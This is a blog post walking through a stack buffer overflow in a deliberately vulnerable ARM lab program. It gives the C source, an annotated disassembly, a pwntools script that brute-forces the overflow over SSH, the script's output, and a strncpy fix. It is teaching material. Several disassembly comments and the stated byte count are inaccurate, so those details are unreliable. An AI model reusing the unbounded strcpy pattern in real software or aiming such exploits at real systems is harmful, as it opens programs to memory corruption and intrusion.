DEV Community

Cover image for ARM BoF exploit via pwntools
hextrace
hextrace

Posted on

ARM BoF exploit via pwntools

This is our source code for the third exploit of this series on ARM hacking:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int main()
{
    int vulnerable = 42;
    char buffer[64] = { 0 };
    char *var = getenv("POC");

    if (var == NULL)
        errx(1, "set POC!\n");

    vulnerable = 42;
    strcpy(buffer, var);
    if (vulnerable != 0xdeadbeef)
        errx(1, "nope\n");

    printf("congrats!\n");
}
Enter fullscreen mode Exit fullscreen mode

Our goal will be to understand ARM implementation of this, to identify the vulnerability and to exploit it!

The program disassembly:

000005bc <main>:
prolog:
 5bc:   b580            push    {r7, lr}
 5be:   b092            sub     sp, #72                 ; 0x48 bytes stackframe
 5c0:   af00            add     r7, sp, #0
 5c2:   232a            movs    r3, #42 ; 0x2a          ; r3 = 42
 5c4:   647b            str     r3, [r7, #68]           ; store 42 at first int in stack
 5c6:   463b            mov     r3, r7          ; buffer is at the other end of the stackframe
 5c8:   2240            movs    r2, #64                 ; r2 = 64
 5ca:   2100            movs    r1, #0                  ; r1 = '\0'
 5cc:   4618            mov     r0, r3          ; r0 = buffer
 5ce:   f7ff ef5c       blx     488 <memset@plt>        ; memset(buffer, '\0', 64); // bzero buffer
 5d2:   4b16            ldr     r3, [pc, #88]           ; (62c <main+0x70>)
 5d4:   447b            add     r3, pc
 5d6:   4618            mov     r0, r3
 5d8:   f7ff ef3e       blx     458 <getenv@plt>        ; getenv("POC");
 5dc:   6438            str     r0, [r7, #64]           ; r7 = var
 5de:   6c3b            ldr     r3, [r7, #64]           ; r3 = *var
 5e0:   2b00            cmp     r3, #0                  ; var == NULL?
 5e2:   d105            bne.n   5f0 <main+0x34>

poc_not_set:
 5e4:   4b12            ldr     r3, [pc, #72]           ; (630 <main+0x74>)
 5e6:   447b            add     r3, pc
 5e8:   4619            mov     r1, r3                  ; r3 = "set POC!\n"
 5ea:   2001            movs    r0, #1                  ; r0 = 1
 5ec:   f7ff ef52       blx     494 <errx@plt>          ; errx(1, "set POC\n");

copy_in_buffer:
 5f0:   232a            movs    r3, #42                 ; r3 = 42
 5f2:   647b            str     r3, [r7, #68]           ; vulnerable = 42 (oops, I initialized twice, see 0x5c4!)
 5f4:   463b            mov     r3, r7                  ; r3 = 42
 5f6:   6c39            ldr     r1, [r7, #64]           ; r1 = buffer
 5f8:   4618            mov     r0, r3                  ; r0 = var
 5fa:   f7ff ef28       blx     44c <strcpy@plt>        ; strcpy(buffer, var);
 5fe:   6c7a            ldr     r2, [r7, #68]           ; r2 = vulnerable
 600:   f64b 63ef       movw    r3, #48879              ; 0xbeef
 604:   f6cd 63ad       movt    r3, #57005              ; 0xdead
 608:   429a            cmp     r2, r3                  ; vulnerable == 0xdeadbeef?
 60a:   d005            beq.n   618 <main+0x5c>

bad_boy:
 60c:   4b09            ldr     r3, [pc, #36]           ; (634 <main+0x78>)
 60e:   447b            add     r3, pc
 610:   4619            mov     r1, r3                  ; r1 = "nope\n"
 612:   2001            movs    r0, #1                  ; r0 = 1
 614:   f7ff ef3e       blx     494 <errx@plt>          ; errx(1, "nope\n");

good_boy:
 618:   4b07            ldr     r3, [pc, #28]           ; (638 <main+0x7c>)
 61a:   447b            add     r3, pc
 61c:   4618            mov     r0, r3                  ; r0 = "congrats!\n");
 61e:   f7ff ef22       blx     464 <puts@plt>          ; puts("congrats\n");
 622:   2300            movs    r3, #0
 624:   4618            mov     r0, r3                  ; return EXIT_SUCCESS;

epilog:
 626:   3748            adds    r7, #72 ; 0x48
 628:   46bd            mov     sp, r7
 62a:   bd80            pop     {r7, pc}

string_pool:
 62c:   000000b4
 630:   000000a6
 634:   0000008a
 638:   00000086
Enter fullscreen mode Exit fullscreen mode

Here is an exploit using pwntools:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 64
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0xdeadbeef)
    process = socket.process(
        executable='/root/protostarm/stack2/stack2',
        env={"POC": payload}
    )
    res = process.recv().decode()
    print('res =', res)
    process.close()
    if 'congrats' in res:
        break

socket.close()
Enter fullscreen mode Exit fullscreen mode

Our vulnerable variable is stored at sp+68. strcpy will copy our var including the terninating null byte ('\0'). We such need to fill the stack with 69 bytes before overwriting the vulnerable variable:

user@Azeria-Lab-VM:~/protoarm/stack2$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 65
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 740
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 740)
test 66
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 744
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 744)
test 67
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 748
res = : 
[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 748)
test 68
[+] Starting remote process '/root/protostarm/stack2/stack2' on 192.168.0.1: pid 752
res = congrats!

[*] Stopped remote process 'stack2' on 192.168.0.1 (pid 752)
[*] Closed connection to '192.168.0.1'
Enter fullscreen mode Exit fullscreen mode

A more secure version of this program could use strncpy in place of strcpy. Here is a pseudo implem of it:

char *strncpy(char *dest, const char *src, size_t n)
{
    size_t i = 0;

    // fill dest buffe with at most n bytes preventing bof if n is well chosen
    for (i = 0; i < n && src[i] != '\0'; i++)
        dest[i] = src[i];

    // fill the rest of the buffer with null bytes
    for ( ; i < n; i++)
        dest[i] = '\0';

    return dest;
}
Enter fullscreen mode Exit fullscreen mode

There are other alternatives such as strlcpy, strcpy_s, and many more.

I hope you enjoyed it!

Top comments (0)